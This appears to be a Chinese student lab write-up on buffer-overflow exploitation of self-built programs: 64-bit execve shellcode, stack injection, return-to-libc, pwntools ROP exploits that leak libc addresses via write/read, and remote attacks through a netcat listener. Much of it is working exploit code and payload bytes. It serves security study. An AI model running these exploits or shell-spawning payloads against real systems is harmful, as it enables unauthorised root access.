20155213免考项目——bof进阶及简易的HIDAttack


目录


任务一:构造Shellcode(64位)

任务二:64位Shellcode的注入

任务三:32位及64位bof攻击(开启堆栈保护且关闭地址随机化)

任务四:开启地址随机化以及堆栈保护后的64位ROP攻击

任务五:使用nc来远程获取靶机的root

简易的HID攻击博客链接


本篇博客记录了我实验ROP攻击的所有内容,整体是先从简单的Shellcode构造与注入,到克服堆栈保护与地址随机化两个问题的ROP攻击,最后一部分是使用netcat进行的远程bof攻击模拟。

任务一:构造Shellcode(64位)

shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。

Shellcode有几点要求,首先是要调用系统函数获取shell权限,其次是Shellcode里面不能出现\x00

编写Shellcode的具体步骤:

  1. 先编写一个使用execve()函数调用的C程序,看一下其内部都是怎么实现的。
#include<stdlib.h>
#include<unistd.h>
char*buf[]={"/bin/sh",NULL};
void main()
{
execve("/bin/sh",buf,0);
exit(0);
}
  1. 编译查看反汇编,同时定位到main和execve两个函数处,可以发现execve就相当于执行syscall然后调用0x3b调用号,可以查到。0x3b就是execve的调用号

  2. 到了这一步就可以开始编写.asm文件了,因为64位的参数都是放在寄存器里的,超过六个参数才会压栈,所以,我们需要把"/bin/sh"放到rdx里面去,之后将其地址压入栈顶,随后调用将0x3b调用号赋给rax寄存器,最后调用syscall就行了

  3. 编译该汇编文件,nasm -f elf64 Shellcode_64.asm,ld -o Shellcode_64 Shellcode_64.o

  4. 查看并抠出Shellcode_64的机器码

  5. 根据第五步抠出的机器码,测试一下,看看能不能用。写一段C的测试代码:

#include<stdlib.h>
#include<unistd.h>
void main()
{
char ch[]="\x48\x31\xd2"
"\x48\xbb\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68"
"\x48\xc1\xeb\x08"
"\x53"
"\x48\x89\xe7"
"\x48\x31\xc0"
"\x50"
"\x57"
"\x48\x89\xe6"
"\xb0\x3b"
"\x0f\x05";
void (*fp)(void);
fp=(void*)ch;
fp();
}



需要注意的是,编译这个时,要加上一句-z execstack,即开启堆栈可执行。

任务二:64位Shellcode的注入

  • 类似32位的做法:

    • 0x01:先关闭地址随机化;
    • 0x02:在设置pwn的堆栈可执行;
    • 0x03:测试foo函数返回地址在栈中存储的位置;
    • 0x04:修改payload;
    • 0x05:注入执行;
  • 下面来一步一步执行:
    1. bash里输入echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;

    2. bash里面输入execstack -s pwn20155213将pwn20155213可执行文件设置为堆栈可执行,其中可以通过execstack -q pwn20155213查看是否设置成功;

    3. 先构造一个input16进制文件,之后通过输入(cat input ;cat )|./pwn20155213将input传入执行中的pwn20155213中,这时打开另一个终端,查找pwn20155213的运行进程,找到后,在gdb调试,里输入attach指令;查找foo返回地址,查看其中内容;





    4. 由上一步可以看出rsp的下一个地址的内容是被“44444444”所覆盖了,所以当这里改为rsp的下一个地址即可,而其后改为所要注入的Shellcode,payload就完成了。

    5. 执行注入攻击;



      攻击成功,但值得注意,上图显示的没有所有payload字符,这是因为在构造payload时,存在\x00。

任务三:32位及64位bof攻击(开启堆栈保护且关闭地址随机化)

(1)32位bof攻击

  • 步骤:

    • 0x01:关闭地址随机化(如任务二)
    • 0x02:使用事先编译好的32位程序level,进入gdb调试
    • 0x03:由第二步分别获得/bin/sh,system的位置编写进将要注入的payload
    • 0x04:将写好的payload注入攻击
  • 具体实现:
    1. bash里输入echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;

      (PS)同时使用execstack -c level恢复level的堆栈保护;

    2. 在bash里输入gdb ./level之后,开始调试:

      • 先将在main处设置断点,然后运行程序

      • 输入print system查看system在内存中的位置,如图位置在0xf7e03c60

      • 输入print __libc_start_main查看__libc_start_main的位置,同时根据__libc_start_main的位置,找到/bin/sh的位置

      • 输入"1111111222222223333333344444444"并查看溢出位置,基本如任务二;

    3. 由第二步得到的system/bin/sh的位置,编写payload,perl -e 'print "A"x28;print "\x60\x3c\xe0\xf7\xab\xac\xad\xae\x08\x28\xf4\xf7"'

    4. 如图操作,注入成功;

(2)64位bof攻击

  • 步骤:

    • 0x01:关闭地址随机化(如任务二)
    • 0x02:查找pop rdi;ret的位置
    • 0x03:使用事先编译好的64位程序pwn20155213,进入gdb调试
    • 0x04:由第二步分别获得pop rdi;ret/bin/sh,system的位置编写进将要注入的payload
    • 0x05:将写好的payload注入攻击
  • 具体实现:
    1. bash里输入echo "0" > /proc/sys/kernel/randomize_va_space,将randomize_va_space设为0,可以通过more /proc/sys/kernel/randomize_va_space来查看;

      (PS)同时使用execstack -c level恢复level的堆栈保护;
    2. 使用ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,如果查找不到需要的pop rdi;ret则将pwn20155213换成/lib/x86_64-linux-gnu/libc.so.6

      ,这里我们使用pwn20155213的内部地址及0x733,这是相对地址,并不是最后的运行起来的地址。
    3. 根据第二步,查看pwn20155213反汇编,了解到0x733这个地址存在于__libc_csu_init这段代码里,进而在gdb里,查看这段代码,得到pop rdi;ret的位置为0x0000555555554733,





      之后跟32位同样,先测试出哪里溢出;



      再分别查看system/bin/sh的位置(0x7ffff7a60510,0x7ffff7b9b3f3

    4. 根据第三步,编写payload;

    5. 注入攻击,如图攻击成功;

任务四:开启地址随机化以及堆栈保护后的64位ROP攻击

  • 这里首先有个问题需要解决就是如何在程序运行时,从命令行向程序传送十六进制数据,查找了很多,这里有六种方法

    • 管道(Pipe)及有名管道(named pipe)
    • 信号(Signal)
    • 报文(Message)队列(消息队列)
    • 共享内存
    • 信号量(semaphore)
    • Socket
    • 这里只有Socket是可行的,会在随后的任务五里面说
  • 排除上面所有底层提供的解决方法,但是python里面有个包可以提供向正在运行的程序传送数据,即是pwntools,这个包的具体使用情况这里不细说,百度上多得很
  • ROP攻击其实在任务三已经使用到了,ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi,这条语句就是用来查找可以使用的gadgets,从而构造合适的ROP链进行攻击。
  • ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

1.寻找gadget

2.使用pwntools工具在python环境下进行测试

  • 这里为了进阶演示,就先修改一下之前使用的C代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
} void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
} int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

需要解释一下systemaddr这个函数,这里是为了输出system执行时的内存地址

  • 介绍一下大致思路,及使用溢出手段,返回调用system函数,进而调用"/bin/sh":

    • 这里是使用python里的pwn这个工具包进行payload的注入操作
    • 第一步,先获得"/bin/sh",pop_ret分别于system的相对位置差值
    • 在exp.py里面调用recv函数,获得运行时的system具体地址
    • 之后分别计算"/bin/sh",pop_ret的具体地址
    • 最后进行payload注入,同时交互运行
    • 实现代码如下:
#!/usr/bin/env python
from pwn import * libc = ELF('libc.so.6') p = process('./pwn20155213')
#p = remote('127.0.0.1',10001) binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset) pop_ret_offset = 0x000000000002144f - libc.symbols['system']#0x000000000002144f是通过ROP查找出来的一个符合条件的gadget地址
print "pop_ret_offset = " + hex(pop_ret_offset) #pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset) print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr) binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr) #pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr) p.recv() payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) #payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n"
p.send(payload) p.interactive()
  • 运行截图如下:

  • 这里有一个缺憾,就是C代码需要输出printf("%p\n",dlsym(handle,"system"));,及system的运行时地址,为了实现更符合平常情况的,我们需要找一个万能的gadget,在寻找gadget那一段中已经叙述了相关万能的gadget得从__libc_csu_init里面找。

3.放弃辅助函数的ROP攻击

  • 这里修改源码为
#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
} int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
  • 看一下这段代码,可以发现里面包含有write和read函数,这时,在没有辅助函数的帮助下,无法知晓system的位置,我们就可以取write为参照物,在利用write函数泄露出相关的write函数内存地址信息,从而根据相对地址获得我们需要的system的地址等等。

  • 此时需要解决一个问题就是,我们是在64位下作的,他的前6个参数都是放在寄存器里面的,而不是像32位那样,放在栈里面,所以不可以简单地想象,使用栈溢出注入我们想注入的数据,这里我们需要寻找可以使用的心得gadget,及可以操作那六个寄存器的gadget,从而解决上一个加了辅助函数的遗憾

  • 使用objdump -d ./pwn20155213,看到里面有个__libc_csu_init函数,里面就有我们想要的东西

  • 前期铺垫都基本做好了,现在开始编写payload:

    • 我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
    payload1 =  "\x00"*136
    payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload1 += "\x00"*56
    payload1 += p64(main)
    • 当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
    payload2 =  "\x00"*136
    payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload2 += "\x00"*56
    payload2 += p64(main)
    • 最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
    payload3 =  "\x00"*136
    payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload3 += "\x00"*56
    • 最终的exp.py如下:
    #!python
    #!/usr/bin/env python
    from pwn import * elf = ELF('level5')
    libc = ELF('libc.so.6') p = process('./level5')
    #p = remote('127.0.0.1',10001) got_write = elf.got['write']
    print "got_write: " + hex(got_write)
    got_read = elf.got['read']
    print "got_read: " + hex(got_read) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system']
    print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15
    #write(rdi=1, rsi=write.got, rdx=4)
    payload1 = "\x00"*136
    payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload1 += "\x00"*56
    payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n"
    p.send(payload1)
    sleep(1) write_addr = u64(p.recv(8))
    print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr
    print "system_addr: " + hex(system_addr) bss_addr=0x601028 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15
    #read(rdi=0, rsi=bss_addr, rdx=16)
    payload2 = "\x00"*136
    payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload2 += "\x00"*56
    payload2 += p64(main) print "\n#############sending payload2#############\n"
    p.send(payload2)
    sleep(1) p.send(p64(system_addr))
    p.send("/bin/sh\0")
    sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15
    #system(rdi = bss_addr+8 = "/bin/sh")
    payload3 = "\x00"*136
    payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload3 += "\x00"*56
    payload3 += p64(main) print "\n#############sending payload3#############\n" sleep(1)
    p.send(payload3) p.interactive()
    • 运行截图:

任务五:使用nc来远程获取靶机的root

这里不详细介绍netcat程序的使用了,只说两个,一个是正相连接,一个是反弹连接,我们将会使用正向连接模逆服务器正在运行的程序,这也是ctf中pwn题的连接服务器方法。

1.关闭了地址随机化的64位bof攻击

  • 这里我们使用已经构造好的payload,进行注入(我使用的是win下面的Cygwin64 Terminal,这个可以很好的模拟linux的终端,就省得在开一台虚拟机了)

    • 靶机输入nc -l -e pwn20155213 -p 5213进行监听
    • Cygwin64 Terminal端输入(cat payload;cat)|nc 172.30.6.213 5213
    • 运行截图:

2.开启地址随机化的64位bof攻击

  • 这里不方便在Cygwin64 Terminal这个下面做,就两个都放在Kali上了

    • 先开启地址随机化
    • 先修改py文件,改成remote控制的
    • 靶机输入nc -l -e pwn20155213 -p 5213进行监听
    • 运行py文件
    • 截图:

    • 要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。

作业感想

做的时间跨度有点大,前前后后一个半月,做的东西也都是别人做剩下的,没什么技术含量,也没有实际价值,只是当个实验消磨一下时间,锻炼一下

20155213免考项目——bof进阶及简易的HIDAttack的更多相关文章

  1. 20155213免考项目——简易的HIDAttack

    20155213免考项目--简易的HIDAttack 听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击...... 既然如此,那我就再做一个吧,但都已经期末 ...

  2. 20145208 蔡野 《网络对抗》免考项目 MSF学习

    20145208 蔡野 <网络对抗>免考项目 MSF Exploit模块开发 题目:MSF Exploit模块开发 摘要 本免考项目的目标是通过对msf模块的设计语言--ruby和expl ...

  3. 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践

    20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...

  4. 20145216史婧瑶《网络对抗》逆向及Bof进阶实践

    20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...

  5. #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践

    20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...

  6. 20145217《网络对抗》 逆向及BOF进阶实践学习总结

    20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...

  7. 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结

    20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...

  8. 《网络对抗》 逆向及Bof进阶实践

    <网络对抗> 逆向及Bof进阶实践 实践目标 注入一个自己制作的shellcode并运行这段shellcode: 实践步骤 准备工作 root@5224:~# apt-get instal ...

  9. 项目:JS实现简易计算器案例

    组件化网页开发下的: 步骤一:让页面动起来的JavaScript深入讲解  的 项目:JS实现简易计算器案例

随机推荐

  1. 关于Dynamics CRM 安装用户权限的说明

    做了这么多年的CRM项目,但发现部分客户的IT安全监管很严格,在CRM系统安装时,要求给出系统安排账号的权限. 这时小伙伴们 坚持不住了~~ 天天都是用域控的admin操作,这个时候问我要什么权限,于 ...

  2. 排错-Error--memory violation  Exception ACCESS_VIOLATION received解决方

    Error -- memory violation : Exception ACCESS_VIOLATION received   by:授客 QQ:1033553122 测试代码: Action() ...

  3. Android Fragment的用法(二)

    如果你经常使用平板电脑,应该会发现很多的平板应用现在都采用的是双页模式(程序会在左侧的面板上显示一个包含子项的列表,在右侧的面板上显示内容),因为平板电脑的屏幕足够大,完全可以同时显示下两页的内容,但 ...

  4. [Android] 针对生成的图片文件在系统Gallery不显示的处理

    之前遇到过一个问题,就是发现我在程序中生成一个新的 Bitmap 之后,当我打开系统的 Gallery 查看时,并没有看到新生成的图像.然而打开文件浏览器,找到保存 Bitmap 所在的文件夹下,还能 ...

  5. UWP开发细节记录:WRL::ComPtr 的坑

    WRL::ComPtr 取原始指针的地址有两种方式: operator&()   先释放原指针再取地址 GetAddressOf() 直接得到原始指针的地址 显然,operator& ...

  6. PHP正则自动验证传入数据

    本文出至:新太潮流网络博客 /** * [is_string_regular_type 正则自动验证传入数据] * @E-mial wuliqiang_aa@163.com * @TIME 2017- ...

  7. CSS| background_属性总结

    Property List 属性 描述 CSS background 在一个声明中设置所有的背景属性. 1 background-attachment 设置背景图像是否固定或者随着页面的其余部分滚动. ...

  8. October 24th, 2017 Week 43rd Tuesday

    We can't give up trying. The fight was worth it. 我们不能放弃尝试,奋斗是值得的. When doing researches in some cutt ...

  9. FZU Monthly-201903 获奖名单

    FZU Monthly-201903 获奖名单 冠军: 黄海东 S031702647 一等奖: 林闽沪 S131700309 陈华能 S221701416 二等奖: 鲍子涵 S031702646 吴少 ...

  10. Tushare test

    查看版本 import tushare print(tushare.__version__) 1.2.12 初步的调用方法为: import tushare as ts ts.get_hist_dat ...